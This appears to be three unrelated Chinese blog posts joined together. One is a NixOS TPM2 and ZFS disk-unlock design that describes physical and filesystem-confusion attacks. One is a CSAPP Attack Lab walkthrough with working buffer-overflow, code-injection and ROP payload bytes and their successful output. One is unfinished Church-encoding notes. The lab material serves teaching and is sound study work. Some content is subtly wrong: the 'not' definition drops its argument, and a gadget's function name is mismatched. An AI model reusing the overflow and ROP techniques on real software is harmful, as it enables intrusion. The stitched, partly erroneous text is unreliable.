这篇文章介绍一套为 NixOS 设计的 TPM2 + ZFS 解锁方案，能防御三种常见攻击手法——而这些恰恰是 Clevis 和基础 systemd-cryptenroll 配置的短板。

TPM 平台配置寄存器入门

在深入漏洞细节之前，先来了解一下 TPM 是怎么保护密钥的。

可信平台模块（TPM）是一块专用安全芯片，可以存储密钥，并且只在满足特定条件时才释放。核心机制是平台配置寄存器（PCR）——一组 24 个特殊寄存器，用于记录启动链路中的度量结果。

PCR 的工作原理

PCR 里存的不是任意写入的值，而是通过 extend 操作累加出来的哈希：

新PCR值 = hash(旧PCR值 ‖ 新数据)  # ‖ 表示拼接

这意味着：

• 每个 PCR 初始值为零（PCR 17-22 初始值为全 0xFF）
• 每次度量都会把旧值与新数据拼起来再哈希（extend）
• 扩展操作不可逆——哈希是单向的
• 最终值代表了整个度量链的结果

PCR 的分配

Linux TPM PCR Registry 定义了各 PCR 的标准用途：

注意：上表只列出了几个相关的 PCR。完整规范定义了全部 24 个 PCR，详见完整文档。

把密钥封装（seal）到 TPM 时，需要指定一组 PCR 作为策略条件。攻击者改了 bootloader，PCR 7 就变了，TPM 会拒绝解封。

听起来很安全？可惜，还是有漏洞。

三大漏洞

1. TPM 总线嗅探（CVE-2026-0714）

问题所在：很多 TPM 通过未加密的 SPI 或 I2C 总线与 CPU 通信。有物理接触权限的攻击者可以窃听这条总线，截获传输中的密钥。

CVE-2026-0714 里有完整复现：研究人员用逻辑分析仪嗅探 Moxa 工业计算机的 TPM SPI 总线，启动时一抓就拿到了卷密钥。TPM2_NV_Read 命令直接以明文返回——尽管 TPM 正确执行了 PCR 策略检查。

Clevis 为什么会中招：Clevis 默认不使用 TPM 加密会话。获取封装密钥时，通信在总线上明文传输。攻击者把逻辑分析仪往 TPM 上一接，密钥就到手了。

解决方案：使用 TPM 加密会话。TPM2 规范支持经过认证和加密的会话，可以防止总线级别的窃听。

2. 根文件系统混淆攻击

问题所在：即使正确绑定了 PCR，大多数方案在执行加密卷里的代码之前，并没有验证这个卷的身份。

这个攻击手法比较经典，oddlama 的博客里有详细描述。流程如下：

1. 攻击者从 Live USB 启动，备份你加密分区的头部
2. 创建一个新的加密分区，UUID 相同，但密码由攻击者控制
3. 里面放一个精简的 Linux rootfs，包含恶意的 /sbin/init
4. 正常重启机器
5. TPM 解锁失败（分区不对），initrd 回退到密码提示
6. 攻击者输入自己的密码——initrd 挂载了假的根分区
7. 恶意 init 运行，此时 TPM 仍处于有效状态
8. 攻击者的代码向 TPM 请求真正的解密密钥——拿到了！

根本问题：启动链中没有任何环节验证加密卷是否合法。initrd 检查了 bootloader 没被改（通过 PCR 7），但没检查加密数据是否来自正确的卷。

PCR 7 为什么不够：PCR 7 度量的是 Secure Boot 状态和证书——证明的是代码的真实性，但并不绑定数据。攻击者的假卷不会改变任何启动时的 PCR。

解决方案：解封之前，用每个加密卷的指纹扩展 PCR 15。这样就把 TPM 密钥绑定到了特定的卷，而不仅仅是启动代码。

3. 解锁后重放攻击

问题所在：磁盘解锁后，TPM 凭据仍然有效。攻击者拿到 root 权限就能重新使用。

考虑这个场景：

1. 系统正常启动，磁盘通过 TPM 解锁
2. 攻击者利用某个漏洞拿到 root
3. 凭据文件（.cred）在磁盘上——root 可读
4. 攻击者用 TPM 解密凭据文件
5. 拿到了磁盘解锁口令

虽然密钥确实会驻留在内核态内存里，但直接从内存捞出来成本更高——现代 Linux 内核有大量保护机制：

• KASLR（内核地址空间布局随机化）把内核代码和数据的位置打乱
• KPTI（内核页表隔离）分离内核和用户空间的页表
• CONFIG_HARDENED_USERCOPY 阻止把内核对象复制到用户空间
• /dev/mem 和 /dev/kmem 限制阻止直接访问物理内存
• lockdown 模式（启用时）进一步限制内核自省

相比之下，解密凭据文件就简单多了。

解决方案：成功解锁后，用固定值扩展 PCR 15。凭据立即失效——即使攻击者拿到 root，TPM 也会拒绝解封，因为 PCR 15 已经不匹配注册时的状态了。

具体实现

本文涉及的 NixOS 系统使用 ZFS 原生加密而非 LUKS。这个选择有其优点——ZFS 加密与快照、复制和写时复制模型完美集成——但也意味着不能直接用那些为 LUKS 设计的工具。

挑战：ZFS + 加密会话

需求：

• TPM 加密会话（防总线嗅探）
• 用预计算值自定义 PCR 绑定（防卷混淆）
• 解锁后 PCR 扩展（防重放）

systemd-cryptenroll 提供了加密会话，解决了总线嗅探问题，但只支持 LUKS——不支持 ZFS 原生加密。

systemd-creds 底层走的也是同一套 TPM2 逻辑（包括加密会话），但有个硬限制：无法按指定 PCR 值封装，只能按当前值。这意味着必须在目标 PCR 状态下启动才能注册，预注册就没法做了。

mkcreds 登场

这个限制催生了 mkcreds——一个用 Claude 辅助写的 Rust 小工具，能创建与 systemd-creds 兼容的凭据，关键是支持按指定 PCR 值封装。

# 按预期的 PCR 15 值封装（预先计算好）
echo "secret" | mkcreds --tpm2-pcrs="7+15:sha256=<expected-hex>" - mycred.cred

# 之后正常用 systemd-creds 解密
systemd-creds decrypt mycred.cred -

这样就能算出用 ZFS 指纹扩展后 PCR 15 会是什么值，然后针对这个目标状态封装凭据——完全不用重启。

ZFS 指纹：证明卷的真实性

为了防卷混淆，需要一个值：

1. 能唯一标识每个加密的 ZFS 数据集
2. 不知道加密密钥就没法伪造

从 ZFS 内部的加密元数据派生指纹：

fingerprint = hash(GUID ‖ MAC)  # ‖ 表示拼接

其中：

• GUID（DSL_CRYPTO_GUID）：加密根的唯一标识符
• MAC（DSL_CRYPTO_MAC）：密钥加密时产生的 AES-GCM 认证标签

MAC 很关键。AES-GCM 的认证标签取决于明文（密钥）和加密操作本身。攻击者不知道加密密钥，就没法生成有效的 MAC。他们可以创建 GUID 相同的 ZFS 池，但 MAC 肯定不一样。

指纹计算用 zdb 直接从 ZFS 元数据提取：

# zfs-fingerprint 脚本的简化版
crypto_obj=$(zdb -ddddd "$pool" "$root_ds" | grep -oP 'crypto_key_obj = \K\d+')
guid=$(zdb -ddddd "$pool" "$crypto_obj" | grep -oP 'DSL_CRYPTO_GUID = \K\d+')
mac=$(zdb -ddddd "$pool" "$crypto_obj" | grep -oP 'DSL_CRYPTO_MAC = \K[0-9a-f]+')
echo -n "${guid}${mac}" | sha256sum | cut -d' ' -f1

解锁流程

zfs-unlock 模块的安全解锁流程：

NixOS 集成

模块采用声明式配置：

{
  codgician.system.zfs-unlock = {
    enable = true;
    devices = {
      "zroot" = {
        credentialFile = ./secrets/zroot.cred;
      };
      "zdata/encrypted" = {
        credentialFile = ./secrets/zdata-encrypted.cred;
      };
    };
  };
}

mkzfscreds 负责注册：

# 计算预期的 PCR 15 并创建凭据
nix run .#mkzfscreds -- zroot > hosts/myhost/zroot.cred

# 输出：
# Creating credential for: zroot (host: myhost)
# Devices: zroot
# Computing expected PCR 15...
#   zroot: a3b2c1d0...
# Expected PCR 15: 7f8e9d0c...
# Enter passphrase for zroot:

这个工具会自动：

1. 读取当前主机的所有配置设备
2. 计算每个设备的指纹（按排序保证确定性）
3. 模拟 PCR 15 扩展拿到预期值
4. 把凭据封装到 PCR 1、2、7、12、14 和算出来的 15

纵深防御

没有任何单一机制是万无一失的。这套方案层层设防：

即使某一层被突破，其他层依然有效。攻击者需要同时：

1. 绕过加密会话拿到总线明文（需要复杂的硬件攻击）
2. 伪造 ZFS 元数据（需要知道加密密钥）
3. 在反重放扩展之前提取密钥（需要在极短时间窗口内利用内核漏洞）

结语

基于 TPM 的磁盘解锁听起来很简单——把密钥封装到 PCR，启动时解封。但细节决定成败：

• 加密会话防止物理总线嗅探
• 卷身份验证阻止文件系统混淆攻击
• 解锁后失效限制凭据重放的时间窗口

现有生态存在空白。Clevis 不用加密会话。大多数 systemd-cryptenroll 教程跳过 PCR 15 验证。两者都没很好地支持 ZFS 原生加密。

这套方案——mkcreds 创建凭据、ZFS 指纹验证卷身份、精心管理 PCR 15——为使用 ZFS 加密的 NixOS 系统提供了纵深防御。

完整实现在 serenitea-pot NixOS 配置的 modules/nixos/system/zfs-unlock/ 目录。它使用 Lanzaboote 实现 Secure Boot——一种无 shim 方案，将内核和 initrd 的 SHA-256 哈希嵌入已签名的 UEFI stub，度量值扩展到 PCR 11。mkcreds 作为独立 Nix flake 提供。

本文描述的漏洞影响着许多实际部署的系统。如果你在用基于 TPM 的磁盘解锁，请仔细审查配置。记住：安全的本质是提高攻击成本，而非追求绝对完美。

本实验是 CSAPP:3e 一书的配套实验之一，相关资料如下：

• 实验文件
• 实验要求

在本次实验中，我们将试着对给定的可在 Linux 下运行的二进制文件进行缓冲区溢出攻击。实验一共分为五个部分，每一个部分的具体要求都会在后文中详述。

本文随自己的实验进度缓慢更新……（咕咕）

知识回顾

对于 x86 平台，程序运行时调用函数的过程是怎样的？

为了能够实现函数递归，函数调用的相关信息都是在 栈 (stack) 中进行维护的。在 x86 汇编中，寄存器 %rsp 指向栈顶位置，寄存器 %rbp 指向栈起始的位置，同时栈是从高地址向低地址生长的。当调用函数时，大致需要依次进行如下步骤：

• 将参数按照从右至左顺序压入栈中；
• 将返回地址压入栈中；
• 将旧的 %rbp 值压入栈中，并将 %rbp 的值更新为 %rsp。换言之，这一步即为被调用的函数更新栈的起始位置；
• 接下来便可以执行被调用的函数了；
• 执行完后，将旧 %rbp 值从栈中弹出，并恢复 %rbp 的值（因为现在回到之前的函数了）；
• 执行 ret 指令，跳转到返回地址（这一过程中会将栈中的参数以及返回地址弹出）。

可见，如果被执行的函数中调用了 gets() 函数（即允许用户输入字符串）同时没有增加任何额外安全措施，我们可以通过精心构造字符串，使得该字符串长度超出缓冲区大小，以达到对栈中其他位置的信息进行覆盖的目的。例如，我们可以通过覆盖返回地址字段，使得该函数被执行完后返回到其他的位置。更进一步，甚至可能注入自己构造的恶意代码来达到各种恶意的目的。接下来的实验就会更具体地说明这一点。

实验

Level 1

要求

在 Level 1 中，暂且不要求注入自己构造的代码，而是构造一个字符串，使得程序执行另一处已有的代码。

在二进制可执行文件 ctarget 中，getbuf() 函数则是一个存在漏洞的获取用户输入的函数。其源代码如下：

unsigned getbuf()
{
    char buf[BUFFER_SIZE];
    Gets(buf);
    return 1;
}

其中 Gets() 与标准库中的 gets() 类似，它会一直读入字符串知道遇到结束符为止，而不会对缓冲区大小是否溢出进行任何检查。getbuf() 函数在 test() 函数中被调用，其源代码如下：

void test()
{
    int val;
    val = getbuf();
    printf("No exploit. Getbuf returned 0x%x\n", val);
}

getbuf() 在执行完成后会返回到 test() 继续向后执行。我们的目的是让 getbuf() 执行完后跳转到程序 touch1() 函数处进行执行。touch1() 的源代码如下：

void touch1()
{
    vlevel = 1; /* Part of validation protocol */
    printf("Touch1!: You called touch1()\n");
    validate(1);
    exit(0);
}

由于本菜鸡不是 CMU 的学生，因此自然也没发连接到 CMU 记录分数的服务器。因此在运行 ctarget 时需要加上参数 -q 以避免前述服务器进行连接。另外，由于构造出的字符串很可能包含非法的 ASCII 字符，为了方便大家，ctarget 支持二进制文件中读取信息。同时，作者也很贴心地提供了小工具 hex2raw 以帮助大家把构造好的 16进制 字符串转换为二进制文件。我们首先要将我们构造好的字符串逐字节一个文本文件（如 hex.txt），每一个字节均使用两位16进制表示，并且字符之间用空格隔开。如：

0a 2d 3f ...

便可以生成对应二进制文件：

$ hex2raw < hex.txt > raw

最后再将其传给 ctarget：

$ ctarget -q -i raw

过程

先运行一下 ./ctarget 看看它长啥样：

$ ./ctarget -q
Cookie: 0x59b997fa
Type string:Hello World!
No exploit.  Getbuf returned 0x1
Normal return

整个程序会要求我们输入一个字符串并显示一些结果。在这里我首先输入了 Hello, World!。显然这个字符串是不足以让程序出现问题的，因此其提示 No exploit。而我们的目的是执行函数 touch1()，故若成功其提示应当包含 Touch1!: You called touch1()。

首先来看看 getbuf() 的汇编代码：

$ gdb --args ./ctarget -q

(gdb) disas getbuf
Dump of assembler code for function getbuf:
   0x00000000004017a8 <+0>:   sub    $0x28,%rsp
   0x00000000004017ac <+4>:   mov    %rsp,%rdi
   0x00000000004017af <+7>:   callq  0x401a40 <Gets>
   0x00000000004017b4 <+12>:  mov    $0x1,%eax
   0x00000000004017b9 <+17>:  add    $0x28,%rsp
   0x00000000004017bd <+21>:  retq
End of assembler dump.

第一条指令表明栈顶 %rsp 向下生长了 0x28（即 40）个字节，故得知 BUFFER_SIZE 值为 40。输入的字符是从低地址向高地址存储的，恰好函数的返回地址也在高地址里，这为修改函数返回地址提供了可能。不妨在 getbuf() 处（即 *0x4017a8 处）打上断点，此时栈顶应当指向返回地址：

(gdb) b getbuf
Breakpoint 1 at 0x4017a8: file buf.c, line 12.

(gdb) r
Starting program: /home/codgician/GitHub/explorations/CSAPP/attack-lab/ctarget -q
Cookie: 0x59b997fa

Breakpoint 1, getbuf () at buf.c:12

(gdb) x $rsp
0x5561dca0:	0x00401976

(gdb) x 0x00401976
0x401976 <test+14>:	0x88bec289

可见栈顶 0x5561dca0 中的值为 0x00401976。而该地址恰好指向 test() 中调用 getbuf() 之后的位置，故可确定这就是我们想要修改的返回地址。来查询一下 touch1() 的地址：

(gdb) info address touch1
Symbol "touch1" is a function at address 0x4017c0.

需要注意的是，由于 x86 采取 小端 (Little Endian) 字节顺序，若希望栈中出现 0x004017c0，则我们构造的输入应当为 c0 17 40 00。基于上述分析，我们构造的字符串只需要首先包含 40 个任意字符，接下來再包含目标地址即可。hex.txt 内容如下：

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 17 40 00

使用 hex2raw 将其转换为二进制文件后传入 ctarget，便可以达成目的：

$ ./hex2raw < hex.txt > raw && ./ctarget -q -i raw
Cookie: 0x59b997fa
Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
  user id	bovik
  course	15213-f15
  lab	attacklab
  result	1:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 17 40 00

Level 2

要求

在 Level 2 中，要求执行的函数变为 touch2()。与上一关不同的是，touch2() 函数带有一个参数。其源代码如下：

void touch2(unsigned val)
{
    vlevel = 2; /* Part of validation protocol */
    if (val == cookie) {
        printf("Touch2!: You called touch2(0x%.8x)\n", val);
        validate(2);
    } else {
        printf("Misfire: You called touch2(0x%.8x)\n", val);
        fail(2);
    }
    exit(0);
}

cookie 值即之前运行时提示的 0x59b997fa。

过程

刚开始的时候本菜鸡准备投机取巧：直接跳转到 if (val == cookie) 后的语句之处。不过可惜作者早就考虑到了，validate 函数中应该还会对 val 进行进一步检查，所以就凉了。

复杂一点的思路，便是我们要在构造的字符串中包含调用 touch2() 的汇编代码，同时让程序跳转到我们注入的代码处执行。因此我们先来看看 touch2() 的汇编代码：

(gdb) disas touch2
Dump of assembler code for function touch2:
   0x00000000004017ec <+0>:	  sub    $0x8,%rsp
   0x00000000004017f0 <+4>:	  mov    %edi,%edx
   0x00000000004017f2 <+6>:   movl   $0x2,0x202ce0(%rip)    # 0x6044dc <vlevel>
   0x00000000004017fc <+16>:  cmp    0x202ce2(%rip),%edi    # 0x6044e4 <cookie>
   0x0000000000401802 <+22>:  jne    0x401824 <touch2+56>
   0x0000000000401804 <+24>:  mov    $0x4030e8,%esi
   0x0000000000401809 <+29>:  mov    $0x1,%edi
   0x000000000040180e <+34>:  mov    $0x0,%eax
   0x0000000000401813 <+39>:  callq  0x400df0 <__printf_chk@plt>
   0x0000000000401818 <+44>:  mov    $0x2,%edi
   0x000000000040181d <+49>:  callq  0x401c8d <validate>
   0x0000000000401822 <+54>:  jmp    0x401842 <touch2+86>
   0x0000000000401824 <+56>:  mov    $0x403110,%esi
   0x0000000000401829 <+61>:  mov    $0x1,%edi
   0x000000000040182e <+66>:  mov    $0x0,%eax
   0x0000000000401833 <+71>:  callq  0x400df0 <__printf_chk@plt>
   0x0000000000401838 <+76>:  mov    $0x2,%edi
   0x000000000040183d <+81>:  callq  0x401d4f <fail>
   0x0000000000401842 <+86>:  mov    $0x0,%edi
   0x0000000000401847 <+91>:  callq  0x400e40 <exit@plt>
End of assembler dump.

可见，touch2() 传入的参数 val 被存放在寄存器 %edi 中，并且在 <+16> 处与 cookie 进行比较。因此，在进入 touch2() 前我们要将寄存器 %edi 中的值修改掉，即如下汇编代码：

mov $0x59b997fa, %edi

除此之外，需要将程序跳转至 touch2() 处（地址为 `0x004017ec）。故：

mov $0x004017ec, %eax
jmp *%eax

将上述代码汇编后，得到：

BF FA 97 B9 59 B8 EC 17 40 00 FF E0

最后，我们借助与 Level 1 类似的思路，让 getbuf() 执行完成后跳转到我们刚刚注入的代码，也就是字符串的起始位置 0x5561dc78（即 Level 1 中所提到的返回地址的位置减去 0x28）。最终构造出如下字符串：

BF FA 97 B9 59 B8 EC 17 40 00 FF E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55

试试看~

$ ./hex2raw < hex.txt > raw && ./ctarget -q -i raw
Cookie: 0x59b997fa
Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
	user id	bovik
	course	15213-f15
	lab	attacklab
	result	1:PASS:0xffffffff:ctarget:2:BF FA 97 B9 59 B8 EC 17 40 00 FF E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55

Level 3

要求

Level 3 在 Level 2 的基础上做了一些变动：要执行的函数不再以整形为参数，而以一个字符串为参数。hexmatch() 和 touch3() 都是包含在 ctarget 中的函数：

/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval)
{
    char cbuf[110];
    /* Make position of check string unpredictable */
    char *s = cbuf + random() % 100;
    sprintf(s, "%.8x", val);
    return strncmp(sval, s, 9) == 0;
}

void touch3(char *sval)
{
    vlevel = 3; /* Part of validation protocol */
    if (hexmatch(cookie, sval)) {
        printf("Touch3!: You called touch3(\"%s\")\n", sval);
        validate(3);
    } else {
        printf("Misfire: You called touch3(\"%s\")\n", sval);
        fail(3);
    }
    exit(0);
}

换言之，我们要传入 Cookie（即 0x59b997fa） 对应的字符串，并执行 touch3()，得到包含 Touch3!: You called touch3("59b997fa") 的结果。

过程

先来看看 touch3() 的汇编代码：

(gdb) disas touch3
Dump of assembler code for function touch3:
   0x00000000004018fa <+0>:     push   %rbx
   0x00000000004018fb <+1>:     mov    %rdi,%rbx
   0x00000000004018fe <+4>:     movl   $0x3,0x202bd4(%rip)      # 0x6044dc <vlevel>
   0x0000000000401908 <+14>:    mov    %rdi,%rsi
   0x000000000040190b <+17>:    mov    0x202bd3(%rip),%edi      # 0x6044e4 <cookie>
   0x0000000000401911 <+23>:    callq  0x40184c <hexmatch>
   0x0000000000401916 <+28>:    test   %eax,%eax
   0x0000000000401918 <+30>:    je     0x40193d <touch3+67>
   0x000000000040191a <+32>:    mov    %rbx,%rdx
   0x000000000040191d <+35>:    mov    $0x403138,%esi
   0x0000000000401922 <+40>:    mov    $0x1,%edi
   0x0000000000401927 <+45>:	mov    $0x0,%eax
   0x000000000040192c <+50>:    callq  0x400df0 <__printf_chk@plt>
   0x0000000000401931 <+55>:    mov    $0x3,%edi
   0x0000000000401936 <+60>：   callq  0x401c8d <validate>
   0x000000000040193b <+65>:    jmp    0x40195e <touch3+100>
   0x000000000040193d <+67>:    mov    %rbx,%rdx
   0x0000000000401940 <+70>:    mov    $0x403160,%esi
   0x0000000000401945 <+75>:    mov    $0x1,%edi
   0x000000000040194a <+80>:    mov    $0x0,%eax
   0x000000000040194f <+85>:    callq  0x400df0 <__printf_chk@plt>
   0x0000000000401954 <+90>:    mov    $0x3,%edi
   0x0000000000401959 <+95>:    callq  0x401d4f <fail>
   0x000000000040195e <+100>:   mov    $0x0,%edi
   0x0000000000401963 <+105>:   callq  0x400e40 <exit@plt>
End of assembler dump.

touch3() 只包含一个参数，即指向字符串的指针，因此其值应当被存储于寄存器 %rdi 中。因此大致的思路为：

• 使用与 Level 1 类似的思路跳转到输入缓冲区开头；
• 输入缓冲区开头处构造修改 %rdi 的指令，指向缓冲区中的另一位置（记之为 p）；
• 接下来构造跳转至 touch3() 的指令；
• 在 p 处存入 cookie 的值。

另外，观察到 getbuf() 执行完时 %rsp 是指向缓冲区高地址处的。由于后面还涉及 hexmatch() 函数的调用，为了防止进栈操作把构造的缓冲区覆盖掉，需要对 %rsp 减去缓冲区大小 0x28。由于地址没有超出 32 位，下面用 %edi 代替 %rdi 以减小汇编代码长度：

sub $0x28, %rsp
mov $0x5561dc88, %edi
mov $0x004018fa, %eax
jmp *%eax

汇编后为：

83 EC 28 BF 88 DC 61 55 B8 FA 18 40 00 FF E0

其中 0x5561dc88 即缓冲区最低位置 0x5561dc78 加上上述汇编指令对应二进制长度后的结果（长度为 15 字节，对齐为 16 字节）。其指向我们即将构造的 cookie 对应字符串的起始地址。

接下来构造 0x59b997fa 对应的字符串：

35 39 62 39 39 37 66 61

因此，完整的字符串应当为：

83 EC 28 BF 88 DC 61 55 B8 FA 18 40 00 FF E0 00 35 39 62 39 39 37 66 61 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00

试试看~

$ ./hex2raw < hex.txt > raw && ./ctarget -q -i raw
Cookie: 0x59b997fa
Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
	user id	bovik
	course	15213-f15
	lab	attacklab
	result	1:PASS:0xffffffff:ctarget:3:83 EC 28 BF 88 DC 61 55 B8 FA 18 40 00 FF E0 00 35 39 62 39 39 37 66 61 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00

面向返回编程

回顾

有办法相对通用地避免前面提到的代码注入吗？

虽然使用更加安全的 gets() 是避免此类漏洞最简单的方案，但能否在不需要程序员对代码本身做任何修改的前提下使得代码注入更加困难？

• 运行时随机化栈地址: 之前实验中，都需要让程序跳转至缓冲区处执行注入的代码。正是因为缓冲区在栈中的地址每一次运行时都是不变的，才让我们轻松地达到了目的。如果每次运行程序，缓冲区所处的地址都不相同，注入代码会更加困难；
• 将栈标记为不可执行区域：之前实验中，注入的代码都被存放在栈中。如果将栈标记为不可执行区域，使得程序拒绝执行栈中代码，注入代码便会更加困难；
• Canary 保护：其核心思想在于对压入栈的每一帧末尾添加一个额外的随机数（称作 Canary）。这个随机数的作用与金丝雀很像，即一旦发现 Canary 值被更改，则会导致程序运行异常并停止。若想通过溢出来修改返回地址，则必然需要先覆盖掉 Canary。这使得代码注入更加困难了。

有了保护后就真的没有一点办法了吗？

虽然没有办法注入自己的代码，但程序本身还是包含非常多指令的。哪怕是非常短的程序，由于大多都会引入标准库，事实上指令数量还是相当可观的。是否可以通过已有的指令来达到我们想达到的目的呢？这就是 面向返回编程 (ROP, Return Oriented Programming) 的核心思想。

我们将由 ret 指令结尾的的若干指令称作一个 gadget。将多个 gadget 组合起来依次执行便可能达到目的。将 gadget 的地址存放在栈中，并且让 %rsp 指向 gadget #1 的地址。在这种状态下，如果程序执行到了 ret 指令，则会跳转到 gadget #1 处执行（%rsp 指向返回地址），同时 %rsp 会向上移动（将返回地址弹栈）并恰好指向栈中 gadget #2 的地址。这样一来，当 gadget #1 执行完 ret 后便会跳转到 gadget #2，依次类推…… 这样便将多段汇编代码像链表一样串了起来。

接下来的两个实验将会展示 ROP 的实际应用。

Level 2+

要求

要求与 Level 2 一样（调用 touch2()），但目标二进制程序变为 rtarget。rtarget 包含了上述防御措施中的前两种。另外，要求只能使用前 8 个 x86-64 寄存器（%rax ~ %rdi）。

为了简化实验，rtarget 中已经提供了可能需要用到的 gadget,位于 start_farm 标记和 mid_farm 标记之间。

过程

结合之前的实验，我们得到一个大致的思路：

• 通过缓冲区溢出使程序跳转至 gadget #1；
• 对寄存器 %rdi 进行修改（touch2() 的参数）；
• 跳转至 touch2() 所在的地址继续执行。
• cookie: 0x59b997fa 很难恰好出现，因此需要将其作为数据放入缓冲区中，并调用弹栈 popq 指令将其存入寄存器中。

首先反汇编，看一下 start_farm 和 mid_farm 之间有什么：

0000000000401994 <start_farm>:
  401994:	b8 01 00 00 00      mov    $0x1,%eax
  401999:	c3                  retq

000000000040199a <getval_142>:
  40199a:	b8 fb 78 90 90      mov    $0x909078fb,%eax
  40199f:	c3                  retq

00000000004019a0 <addval_273>:
  4019a0:	8d 87 48 89 c7 c3   lea    -0x3c3876b8(%rdi),%eax
  4019a6:	c3                  retq

00000000004019a7 <addval_219>:
  4019a7:	8d 87 51 73 58 90   lea    -0x6fa78caf(%rdi),%eax
  4019ad:	c3                  retq

00000000004019ae <setval_237>:
  4019ae:	c7 07 48 89 c7 c7   movl   $0xc7c78948,(%rdi)
  4019b4:	c3                  retq

00000000004019b5 <setval_424>:
  4019b5:	c7 07 54 c2 58 92   movl   $0x9258c254,(%rdi)
  4019bb:	c3                  retq

00000000004019bc <setval_470>:
  4019bc:	c7 07 63 48 8d c7   movl   $0xc78d4863,(%rdi)
  4019c2:	c3                  retq

00000000004019c3 <setval_426>:
  4019c3:	c7 07 48 89 c7 90   movl   $0x90c78948,(%rdi)
  4019c9:	c3                  retq

00000000004019ca <getval_280>:
  4019ca:	b8 29 58 90 c3      mov    $0xc3905829,%eax
  4019cf:	c3                  retq

00000000004019d0 <mid_farm>:
  4019d0:	b8 01 00 00 00      mov    $0x1,%eax
  4019d5:	c3                  retq

pop 指令的字节码为 58（从栈中取出 64 位数据），在上述代码中寻找到 addval_219 中存在 58 90 c3，其反汇编结果恰好为：

0: 58   pop %rax
1: 90   nop
2: c3   retq

其含义即将栈顶数据弹出并放入寄存器 %rax，因此第一个 gadget 地址可为 0x004019ab。我们可通过缓冲区溢出的形式到达此处（Level 1 的思路）。

接下来我们需要将 %rax 中的值复制进 %rdi。mov 的字节码为 48。在 setval_273 中找到 48 89 c7 c3，其反汇编结果恰好为：

0: 48 89 c7     mov    %rax, %rdi
3: c3           retq

因此第二个 gadget 地址为 0x004019a2。在执行完这两个 gadget 后，就可以进入 touch2() 了，因此栈中接下来要放入 touch2() 的地址 0x004017ec。

构造缓冲区如下（注意将数据补齐 64 位）：

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 AB 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 A2 19 40 00 00 00 00 00 EC 17 40 00 00 00 00 00

试一试~

$ ./hex2raw < hex.txt > raw && ./rtarget -q -i raw
Cookie: 0x59b997fa
Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
	user id	bovik
	course	15213-f15
	lab	attacklab
	result	1:PASS:0xffffffff:rtarget:2:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 AB 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 A2 19 40 00 00 00 00 00 EC 17 40 00 00 00 00 00

Level 3+

等到有空的时候继续～

要求

要求与 Level 3 一样（调用 touch3()），但目标二进制程序变为 rtarget。rtarget 包含了上述防御措施中的前两种。

过程

咕咕咕……

既然 $\lambda$ 演算与图灵机等价，那么理论上图灵机能干的事情都能通过 $\lambda$ 演算表示。

考虑一个不支持任何除了 $\lambda$ 表达式的编程语言…… 假设我们要在其中建立一个支持计数，并且支持各种运算的表示系统，该如何只用 $\lambda$ 表达式来构造它？更进一步，是否可以仅用 $\lambda$ 表达式来构造诸如链表的数据结构？

Church 编码便能解决这一问题，其可以定义与布尔数等价的 Church Boolean，借助皮亚诺公理 (Peano Axioms) 能够定义出与自然数等价的 Church Numeral，甚至还可以定义出 Church Pairs 和 Church List…… 本文作为自己在学习 Church 编码所记录的笔记，可能有很多不合适的地方，等到以后自己有更加深入的理解后再来修改吧……

本文会随自己学习精度慢慢（咕咕）更新……

Church Booleans

定义

首先来考虑构造真和假。既然有两样东西，考虑选择二元函数：对于真所代表的函数，它总是返回第一个参数；而对于否所代表的函数，它总是返回第二个参数。于是：

$$\begin{aligned} true & = \lambda x \ . \ \lambda y \ . \ x \\ false & = \lambda x \ . \ \lambda y \ . \ y \end{aligned}$$

发现这样构造带来一个非常有趣的性质：Church Boolean 似乎内置了 $\text{if - then - else}$ 这种表达形式。考虑如下 $\lambda$ 表达式：

$$b \enspace T \enspace F$$

其中 $b$ 是一个 Church Boolean。发现其实际含义就是，若 $b$ 为真，则结果为 $T$ ，否则结果为 $F$ ，跟 $\text{if } \ b \ \text{ then } \ T \ \text{ else } \ F$ 实际上没有什么区别。所以实际上可以定义自己的条件分支表达式：

$$iff = \lambda b \ . \ \lambda t \ . \ \lambda f \ . \ b \enspace t \enspace f$$

运算

可以应用上面提到的性质比较轻松地定义出所有的布尔逻辑运算……

非运算

先来看最简单的非运算。非运算是一个单参数的函数，对于 Church Boolean $b$ 可以表示成 $\text{ if } \ b \ \text{ then } \ true \ \text{else} \ false$ ，因此可以写作：

$$not = \lambda b \ . \ false \enspace true$$

与运算

与运算则是一个双参数的函数，当且仅当两参数 $a, b$ 都为 $true$ 是才会返回 $true$ ，否则返回 $false$ 。可以表示成 $\text{ if } \ a \ \text{ then } ( \ \text{ if } \ b \ \text{ then } \ true \ \text{ else } \ false \ ) \ \text { else } \ false$ ，因此：

$$and = \lambda a \ . \ \lambda b \ . \ a \enspace (b \enspace true \enspace false) \enspace false$$

或运算

